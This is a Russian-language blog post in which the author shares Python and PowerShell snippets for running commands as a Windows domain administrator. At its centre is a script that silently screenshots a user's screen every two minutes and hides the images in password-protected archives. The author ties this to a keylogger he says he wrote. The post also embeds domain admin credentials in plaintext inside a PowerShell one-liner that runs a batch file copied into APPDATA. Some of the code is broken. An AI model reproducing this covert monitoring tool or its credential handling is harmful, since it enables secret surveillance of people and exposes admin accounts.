Python Запуск команды от Админа Windows

PowerShel+Python = RunAsAdmin

Ух… полдня нервов, криков, пота и крови. Я искал как запустить от доменного админа программу. Это жесть. Перепробовал тысячи вариантов и способов. А также пытался понять как мне с reg.exe удаленно работать. Также понял что comanda password у знаменитой утилиты PsExec не работает как должна. Но все по порядку…

Os.system против Subprocess.popen

А началось все с того, что мне надо было как-то незаметно запустить для пользователя архивацию. И тут есть замечательная команда os.system:

import os

zip_pass = 'SuperPassword'
log_path = 'E:\\path\\to\\dir'

os.system('7zip a -tzip -ssw -mx1 -p'+zip_pass+' -r0 -sdel ' + log_path + '\\back_%DATE:~6,4%%DATE:~3,2%%DATE:~0,2%.zip ' + log_path + '\\*.png > nul' )

Однако я это делаю в цикле и при выполнении команды появляется окно cmd. Это меня не устраивало и я искал другой путь. Попробовал subprocess. Все заработало:

import pyscreeze ,subprocess
from time import sleep

zip_pass = 'SuperPassword'
log_path = 'E:\\path\\to\\dir'

def screnshot():
    # скрин цикл
    while True:
        sleep(120) # Pereod making screnshot in sec.
        try:
            pyscreeze.screenshot(log_path + '\\' + strftime("%Y-%m-%d-%H.%M.%S", localtime()) + '.png')
        except Exception:
            pass
        subprocess.run(str(exe7z + ' a -tzip -ssw -mx1 -p'+zip_pass+' -r0 -sdel ' + log_path + '\\back_%DATE:~6,4%%DATE:~3,2%%DATE:~0,2%.zip ' + log_path + '\\*.png > nul').split(' '), shell=True) # Making arhive

screnshot()

Если вы хоть чуть разбираетесь, вы поймете зачем мне бекапиться так часто)))). Но это пол беды. Надумал я ко всему этому бреду добавить проверку и установку забикс. Написал довольно не плохой скрипт установки, но вот беда мне надо его запустить от доменного админа. И тут началось…

Пути неисповедимы или чертов RunAs

На просторах интернета полно рекомендаций с примерно следующем содержанием:

echo password | runas /use:admin@domen c:\programma.exe

Только есть одно «НО» — это не работает начиная с Vista Windows. А все потому, что ради безопасности runas не читает stdin. По этой же причине я 4 часа не мог запустить следующее:

cmd =subprocess.popen('runas /user:admin@domen cmd', stdin=subprocess.PIPE,shell=True)
cmd.stdin.write(b'Password\n')

В общем я понял проблему и начал искать обходные пути. Потратив еще час и перебрав разные варианты я нашел ка это можно сделать с помощью PowerShell . Но не все так просто.

Первое знакомство с PowerShell и…

Ни хрена не понятно. Хотя вроде ни чего сложного. Но найденный тут рецепт а именно :

$username = 'user'
$password = 'password'

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process Notepad.exe -Credential $credential

Не сработал. А вот спустя еще час мучения и лицезрения неверно задано имя папки я понял. Это же DOS! Я вспомнил как у меня были проблемы с тем что я не мог находясь в одном разделе диска вызвать программу из другого. Поняв это я решил проблему, а заодно понял как написать все в одну строку:

powershell $username = 'admin@domen';$password = 'password';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;c:; Start-Process C:\zabbix\install.bat -Credential $credential

Но и тут не без нюансов. Все команды через «;» а путь у Start-Process не должен выходить в TMP папку. Ну и полный запуск на python.

Запуск батника из python с правами админа

impor os, subprocess

if not os.path.exists('C:\\zabbix\\install.log'):
	subprocess.run(str('xcopy \\\\samba\\shara\\zabbix\\install.bat '+getenv('APPDATA')+' /Y').split(' '), shell=True)
	subprocess.Popen("powershell $username = 'admin@domen';$password = 'password';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;c:; Start-Process "+getenv('APPDATA')+"\\install.bat -Credential $credential", shell=True)

Вот так я про#бал мой первый день отпуска. Надеюсь еще напишу более подробную статью о том как я свой кейлогер с бекджеком и шлюхами писал…. Удачи!

Оставьте комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте, как обрабатываются ваши данные комментариев.